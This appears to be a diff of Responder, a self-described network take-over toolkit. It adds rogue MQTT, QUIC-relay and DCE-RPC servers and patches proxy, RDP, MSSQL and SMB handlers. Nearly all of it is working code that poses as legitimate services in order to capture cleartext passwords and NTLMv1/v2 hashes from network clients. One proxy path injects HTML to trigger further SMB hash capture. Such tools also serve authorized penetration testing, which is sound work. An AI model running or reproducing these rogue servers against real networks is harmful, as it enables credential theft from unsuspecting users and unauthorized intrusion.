@ -203,8 +205,6 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
if Operation == b'\x60':#Bind
|
||||
if "ldap" in data:# No Kerberos
|
||||
return False
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
|
205
servers/MQTT.py
Normal file
205
servers/MQTT.py
Normal file
|
@ -0,0 +1,205 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
|
||||
from utils import settings, NetworkSendBufferPython2or3, SaveToDb
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket
|
||||
|
||||
#Read N byte integer
|
||||
def readInt(data, offset, numberOfBytes):
|
||||
value = int.from_bytes(data[offset:offset+numberOfBytes], 'big')
|
||||
offset += numberOfBytes
|
||||
return (value, offset)
|
||||
|
||||
#Read binary data
|
||||
def readBinaryData(data, offset):
|
||||
|
||||
#Read number of bytes
|
||||
length, offset = readInt(data, offset, 2)
|
||||
|
||||
#Read bytes
|
||||
value = data[offset:offset+length]
|
||||
offset += length
|
||||
|
||||
return (value, offset)
|
||||
|
||||
#Same as readBinaryData() but without reading data
|
||||
def skipBinaryDataString(data, offset):
|
||||
length, offset = readInt(data, offset, 2)
|
||||
offset += length
|
||||
return offset
|
||||
|
||||
#Read UTF-8 encoded string
|
||||
def readString(data, offset):
|
||||
value, offset = readBinaryData(data, offset)
|
||||
|
||||
return (value.decode('utf-8'), offset)
|
||||
|
||||
#Read variable byte integer
|
||||
#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011)
|
||||
def readVariableByteInteger(data, offset):
|
||||
multiplier = 1
|
||||
value = 0
|
||||
while True:
|
||||
encodedByte = data[offset]
|
||||
offset += 1
|
||||
|
||||
value = (encodedByte & 127) * multiplier
|
||||
|
||||
if (multiplier > 128 * 128 * 128):
|
||||
return None
|
||||
|
||||
multiplier *= 128
|
||||
|
||||
if(encodedByte & 128 == 0):
|
||||
break
|
||||
|
||||
return (value, offset)
|
||||
|
||||
class MqttPacket:
|
||||
|
||||
USERNAME_FLAG = 0x80
|
||||
PASSWORD_FLAG = 0x40
|
||||
WILL_FLAG = 0x04
|
||||
|
||||
def __init__(self, data):
|
||||
self.__isValid = True
|
||||
|
||||
controllPacketType, offset = readInt(data, 0, 1)
|
||||
|
||||
#check if CONNECT packet type
|
||||
if controllPacketType != 0x10:
|
||||
self.__isValid = False
|
||||
return
|
||||
|
||||
#Remaining length
|
||||
remainingLength, offset = readVariableByteInteger(data, offset)
|
||||
|
||||
#Protocol name
|
||||
protocolName, offset = readString(data, offset)
|
||||
|
||||
#Check protocol name
|
||||
if protocolName != "MQTT" and protocolName != "MQIsdp":
|
||||
self.__isValid = False
|
||||
return
|
||||
|
||||
#Check protocol version
|
||||
self.__protocolVersion, offset = readInt(data, offset, 1)
|
||||
|
||||
#Read connect flag register
|
||||
connectFlags, offset = readInt(data, offset, 1)
|
||||
|
||||
#Read keep alive (skip)
|
||||
offset += 2
|
||||
|
||||
#MQTTv5 implements properties
|
||||
if self.__protocolVersion > 4:
|
||||
|
||||
#Skip all properties
|
||||
propertiesLength, offset = readVariableByteInteger(data, offset)
|
||||
offset+=propertiesLength
|
||||
|
||||
#Get Client ID
|
||||
self.clientId, offset = readString(data, offset)
|
||||
|
||||
if (self.clientId == ""):
|
||||
self.clientId = "<Empty>"
|
||||
|
||||
#Skip Will
|
||||
if (connectFlags & self.WILL_FLAG) > 0:
|
||||
|
||||
#MQTT v5 implements properties
|
||||
if self.__protocolVersion > 4:
|
||||
willProperties, offset = readVariableByteInteger(data, offset)
|
||||
|
||||
#Skip will properties
|
||||
offset = skipBinaryDataString(data, offset)
|
||||
offset = skipBinaryDataString(data, offset)
|
||||
|
||||
#Get Username
|
||||
if (connectFlags & self.USERNAME_FLAG) > 0:
|
||||
self.username, offset = readString(data, offset)
|
||||
else:
|
||||
self.username = "<Empty>"
|
||||
|
||||
#Get Password
|
||||
if (connectFlags & self.PASSWORD_FLAG) > 0:
|
||||
self.password, offset = readString(data, offset)
|
||||
else:
|
||||
self.password = "<Empty>"
|
||||
|
||||
def isValid(self):
|
||||
return self.__isValid
|
||||
|
||||
def getProtocolVersion(self):
|
||||
return self.__protocolVersion
|
||||
|
||||
def data(self, client):
|
||||
|
||||
return {
|
||||
'module': 'MQTT',
|
||||
'type': 'Cleartext',
|
||||
'client': client,
|
||||
'hostname': self.clientId,
|
||||
'user': self.username,
|
||||
'cleartext': self.password,
|
||||
'fullhash': self.username + ':' + self.password
|
||||
}
|
||||
|
||||
class MQTT(BaseRequestHandler):
|
||||
def handle(self):
|
||||
|
||||
CONTROL_PACKET_TYPE_CONNECT = 0x10
|
||||
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
|
||||
#Read control packet type
|
||||
controlPacketType, offset = readInt(data, 0, 1)
|
||||
|
||||
#Skip non CONNECT packets
|
||||
if controlPacketType != CONTROL_PACKET_TYPE_CONNECT:
|
||||
return
|
||||
|
||||
#Parse connect packet
|
||||
packet = MqttPacket(data)
|
||||
|
||||
#Skip if it contains invalid data
|
||||
if not packet.isValid():
|
||||
#Return response
|
||||
return
|
||||
|
||||
#Send response packet
|
||||
if packet.getProtocolVersion() < 5:
|
||||
responsePacket = MQTTv3v4ResponsePacket()
|
||||
else:
|
||||
responsePacket = MQTTv5ResponsePacket()
|
||||
|
||||
self.request.send(NetworkSendBufferPython2or3(responsePacket))
|
||||
|
||||
#Save to DB
|
||||
SaveToDb(packet.data(self.client_address[0]))
|
||||
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
|
@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
|
|||
if not data:
|
||||
break
|
||||
if settings.Config.Verbose:
|
||||
print(text("[MSSQL] Received connection from %s" % self.client_address[0]))
|
||||
print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
|
||||
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
|
||||
Buffer = str(MSSQLPreLoginAnswer())
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
|
@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler):
|
|||
if data:
|
||||
if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX
|
||||
self.send_response(soc, "MSSQLSERVER")
|
||||
elif data[0] == b'\x04': # CLNT_UCAST_INST
|
||||
self.send_response(soc, data[1:].rstrip("\x00"))
|
||||
elif data[0] == b'\x0F': # CLNT_UCAST_DAC
|
||||
elif data[0:1] == b'\x04': # CLNT_UCAST_INST
|
||||
self.send_response(soc, data[1:].rstrip(b"\x00"))
|
||||
elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC
|
||||
self.send_dac_response(soc)
|
||||
|
||||
def send_response(self, soc, inst):
|
||||
|
|
|
@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
|
|||
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||
if Packet_NTLM == b'\x01':
|
||||
if settings.Config.Verbose:
|
||||
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client))
|
||||
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
|
||||
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
Buffer.calculate()
|
||||
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||
|
@ -69,9 +69,12 @@ def PacketSequence(data, client, Challenge):
|
|||
GrabUserAgent(data)
|
||||
GrabCookie(data)
|
||||
GrabHost(data)
|
||||
return False
|
||||
#Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
|
||||
#Buffer.calculate()
|
||||
#Return a TCP RST, so the client uses direct connection and avoids disruption.
|
||||
return RST
|
||||
else:
|
||||
return False
|
||||
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
|
||||
|
||||
elif Basic_Auth:
|
||||
GrabUserAgent(data)
|
||||
|
@ -91,7 +94,7 @@ def PacketSequence(data, client, Challenge):
|
|||
if settings.Config.Basic:
|
||||
Response = WPAD_Basic_407_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client))
|
||||
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
|
||||
|
||||
else:
|
||||
Response = WPAD_Auth_407_Ans()
|
||||
|
|
168
servers/QUIC.py
Normal file
168
servers/QUIC.py
Normal file
|
@ -0,0 +1,168 @@
|
|||
import asyncio
|
||||
import logging
|
||||
import ssl
|
||||
import argparse
|
||||
import netifaces
|
||||
from utils import *
|
||||
from aioquic.asyncio import serve
|
||||
from aioquic.asyncio.protocol import QuicConnectionProtocol
|
||||
from aioquic.quic.configuration import QuicConfiguration
|
||||
from aioquic.quic.events import QuicEvent, StreamDataReceived, StreamReset, ConnectionTerminated
|
||||
|
||||
BUFFER_SIZE = 11000
|
||||
|
||||
def get_interface_ip(interface_name):
|
||||
"""Get the IP address of a network interface."""
|
||||
try:
|
||||
# Get address info for the specified interface
|
||||
addresses = netifaces.ifaddresses(interface_name)
|
||||
|
||||
# Get IPv4 address (AF_INET = IPv4)
|
||||
if netifaces.AF_INET in addresses:
|
||||
return addresses[netifaces.AF_INET][0]['addr']
|
||||
|
||||
# If no IPv4 address, try IPv6 (AF_INET6 = IPv6)
|
||||
if netifaces.AF_INET6 in addresses:
|
||||
return addresses[netifaces.AF_INET6][0]['addr']
|
||||
|
||||
logging.error(f"[!] No IP address found for interface {interface_name}")
|
||||
return None
|
||||
except ValueError:
|
||||
logging.error(f"[!] Interface {interface_name} not found")
|
||||
return None
|
||||
|
||||
|
||||
class QUIC(QuicConnectionProtocol):
|
||||
def __init__(self, *args, target_address=None, **kwargs):
|
||||
super().__init__(*args, **kwargs)
|
||||
self.tcp_connections = {} # stream_id -> (reader, writer)
|
||||
self.target_address = target_address or "localhost"
|
||||
|
||||
def quic_event_received(self, event):
|
||||
if isinstance(event, StreamDataReceived):
|
||||
asyncio.create_task(self.handle_stream_data(event.stream_id, event.data))
|
||||
elif isinstance(event, StreamReset) or isinstance(event, ConnectionTerminated):
|
||||
# Only try to close connections if we have any
|
||||
if self.tcp_connections:
|
||||
asyncio.create_task(self.close_all_tcp_connections())
|
||||
|
||||
async def handle_stream_data(self, stream_id, data):
|
||||
if stream_id not in self.tcp_connections:
|
||||
# Create a new TCP connection to the target interface:445
|
||||
try:
|
||||
reader, writer = await asyncio.open_connection(self.target_address, 445)
|
||||
self.tcp_connections[stream_id] = (reader, writer)
|
||||
|
||||
# Start task to read from TCP and write to QUIC
|
||||
asyncio.create_task(self.tcp_to_quic(stream_id, reader))
|
||||
|
||||
logging.info(f"[*] Connected to {self.target_address}:445\n[*] Starting relaying process...")
|
||||
print(text("[QUIC] Forwarding QUIC connection to SMB server"))
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error connecting to {self.target_address}:445: {e}")
|
||||
return
|
||||
|
||||
# Forward data from QUIC to TCP
|
||||
try:
|
||||
_, writer = self.tcp_connections[stream_id]
|
||||
writer.write(data)
|
||||
await writer.drain()
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error writing to TCP: {e}")
|
||||
await self.close_tcp_connection(stream_id)
|
||||
|
||||
async def tcp_to_quic(self, stream_id, reader):
|
||||
try:
|
||||
while True:
|
||||
data = await reader.read(BUFFER_SIZE)
|
||||
if not data:
|
||||
break
|
||||
|
||||
self._quic.send_stream_data(stream_id, data)
|
||||
self.transmit()
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Error reading from TCP: {e}")
|
||||
finally:
|
||||
await self.close_tcp_connection(stream_id)
|
||||
|
||||
async def close_tcp_connection(self, stream_id):
|
||||
if stream_id in self.tcp_connections:
|
||||
_, writer = self.tcp_connections[stream_id]
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
del self.tcp_connections[stream_id]
|
||||
|
||||
async def close_all_tcp_connections(self):
|
||||
try:
|
||||
# Make a copy of the keys to avoid modification during iteration
|
||||
stream_ids = list(self.tcp_connections.keys())
|
||||
for stream_id in stream_ids:
|
||||
try:
|
||||
await self.close_tcp_connection(stream_id)
|
||||
except KeyError:
|
||||
# Silently ignore if the stream ID no longer exists
|
||||
pass
|
||||
except Exception as e:
|
||||
# Catch any other exceptions that might occur
|
||||
logging.debug(f"[!] Error closing TCP connections: {e}")
|
||||
|
||||
async def start_quic_server(listen_interface, cert_path, key_path):
|
||||
# Configure QUIC
|
||||
configuration = QuicConfiguration(
|
||||
alpn_protocols=["smb"],
|
||||
is_client=False,
|
||||
)
|
||||
|
||||
# Load certificate and private key
|
||||
try:
|
||||
configuration.load_cert_chain(cert_path, key_path)
|
||||
except Exception as e:
|
||||
logging.error(f"[!] Could not load {cert_path} and {key_path}: {e}")
|
||||
return
|
||||
|
||||
# Resolve interfaces to IP addresses
|
||||
listen_ip = listen_interface
|
||||
if not is_ip_address(listen_interface):
|
||||
listen_ip = get_interface_ip(listen_interface)
|
||||
if not listen_ip:
|
||||
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||
return
|
||||
|
||||
target_ip = listen_interface
|
||||
if not is_ip_address(listen_interface):
|
||||
target_ip = get_interface_ip(listen_interface)
|
||||
if not target_ip:
|
||||
logging.error(f"[!] Could not resolve IP address for interface {listen_interface}")
|
||||
return
|
||||
|
||||
# Start QUIC server with correct protocol factory
|
||||
server = await serve(
|
||||
host=listen_ip,
|
||||
port=443,
|
||||
configuration=configuration,
|
||||
create_protocol=lambda *args, **kwargs: QUIC(
|
||||
*args,
|
||||
target_address=target_ip,
|
||||
**kwargs
|
||||
)
|
||||
)
|
||||
|
||||
logging.info(f"[*] Started listening on {listen_ip}:443 (UDP)")
|
||||
logging.info(f"[*] Forwarding connections to {target_ip}:445 (TCP)")
|
||||
|
||||
# Keep the server running forever
|
||||
await asyncio.Future()
|
||||
|
||||
|
||||
def is_ip_address(address):
|
||||
"""Check if a string is a valid IP address."""
|
||||
import socket
|
||||
try:
|
||||
socket.inet_pton(socket.AF_INET, address)
|
||||
return True
|
||||
except socket.error:
|
||||
try:
|
||||
socket.inet_pton(socket.AF_INET6, address)
|
||||
return True
|
||||
except socket.error:
|
||||
return False
|
10
servers/RDP.py
Normal file → Executable file
10
servers/RDP.py
Normal file → Executable file
|
@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
|
|||
self.request.settimeout(30)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
|
||||
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
|
||||
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
context.load_cert_chain(cert, key)
|
||||
|
||||
if data[11:12] == b'\x01':
|
||||
x = X224(Data=RDPNEGOAnswer())
|
||||
x.calculate()
|
||||
|
@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
|
|||
h.calculate()
|
||||
buffer1 = str(h)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock = context.wrap_socket(self.request, server_side=True)
|
||||
SSLsock.settimeout(30)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
|
@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
|
|||
buffer1 = str(h)
|
||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(8092)
|
||||
|
||||
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
|
||||
SSLsock = context.wrap_socket(self.request, server_side=True)
|
||||
data = SSLsock.read(8092)
|
||||
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
|
||||
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
|
|
214
servers/RPC.py
Normal file
214
servers/RPC.py
Normal file
|
@ -0,0 +1,214 @@
|
|||
#!/usr/bin/env python
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from utils import *
|
||||
import struct
|
||||
import re
|
||||
import ssl
|
||||
import codecs
|
||||
|
||||
if settings.Config.PY2OR3 == "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
|
||||
|
||||
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
|
||||
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
|
||||
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
|
||||
|
||||
#for mapper
|
||||
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
|
||||
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
|
||||
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
|
||||
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
|
||||
|
||||
|
||||
|
||||
def Chose3264x(packet):
|
||||
if Map32 in packet:
|
||||
return Map32
|
||||
else:
|
||||
return Map64
|
||||
|
||||
def FindNTLMOpcode(data):
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
if SSPIStart == -1:
|
||||
return False
|
||||
SSPIString = data[SSPIStart:]
|
||||
return SSPIString[8:12]
|
||||
|
||||
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv1-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'DCE-RPC',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
class RPCMap(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
self.request.settimeout(5)
|
||||
Challenge = RandomChallenge()
|
||||
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
|
||||
#More recent windows version can and will bind on port 135...Let's grab it.
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
self.request.close()
|
||||
|
||||
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
|
||||
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
|
||||
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
|
||||
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
|
||||
|
||||
# DSRUAPI
|
||||
if NetworkSendBufferPython2or3(DSRUAPI) in data:
|
||||
x = RPCMapBindMapperAns()
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#LSARPC
|
||||
if NetworkSendBufferPython2or3(LSARPC) in data:
|
||||
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#WINSPOOL
|
||||
if NetworkSendBufferPython2or3(WINSPOOL) in data:
|
||||
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
x.calculate()
|
||||
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
print(color("[*] [DCE-RPC Mapper] Redirected %-15s to WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
|
||||
self.request.close()
|
||||
|
||||
#NetLogon
|
||||
if NetworkSendBufferPython2or3(NETLOGON) in data:
|
||||
self.request.close()
|
||||
# For now, we don't want to establish a secure channel... we want NTLM.
|
||||
|
||||
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||
#x.calculate()
|
||||
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||
#RPC.calculate()
|
||||
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
#data = self.request.recv(1024)
|
||||
#print(color("[*] [DCE-RPC Mapper] Redirected %-15s to NETLOGON auth server." % (self.client_address[0]), 3, 1))
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
||||
|
||||
|
||||
class RPCMapper(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(2048)
|
||||
self.request.settimeout(3)
|
||||
Challenge = RandomChallenge()
|
||||
|
||||
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
n.calculate()
|
||||
RPC = RPCNTLMNego(Data=n)
|
||||
RPC.calculate()
|
||||
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||
self.request.close()
|
||||
|
||||
except Exception:
|
||||
self.request.close()
|
||||
pass
|
||||
|
||||
|
|
@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client):
|
|||
WordCount = data[HeadLen]
|
||||
ChainedCmdOffset = data[HeadLen+1]
|
||||
|
||||
if ChainedCmdOffset == "\x75":
|
||||
if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117:
|
||||
PassLen = struct.unpack('<H',data[HeadLen+15:HeadLen+17])[0]
|
||||
|
||||
if PassLen > 2:
|
||||
|
@ -200,17 +200,16 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
if not data:
|
||||
break
|
||||
|
||||
if data[0] == "\x81": #session request 139
|
||||
if data[0:1] == b"\x81": #session request 139
|
||||
Buffer = "\x82\x00\x00\x00"
|
||||
try:
|
||||
self.request.send(Buffer)
|
||||
data = self.request.recv(1024)
|
||||
except:
|
||||
raise
|
||||
pass
|
||||
|
||||
##Negotiate proto answer SMBv2.
|
||||
if data[8:10] == b"\x72\x00" and re.search(b"SMB 2.\?\?\?", data):
|
||||
if data[8:10] == b"\x72\x00" and re.search(rb"SMB 2.\?\?\?", data):
|
||||
head = SMB2Header(CreditCharge="\x00\x00",Credits="\x01\x00")
|
||||
t = SMB2NegoAns()
|
||||
t.calculate()
|
||||
|
@ -219,7 +218,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
## Session Setup 1 answer SMBv2.
|
||||
## Nego answer SMBv2.
|
||||
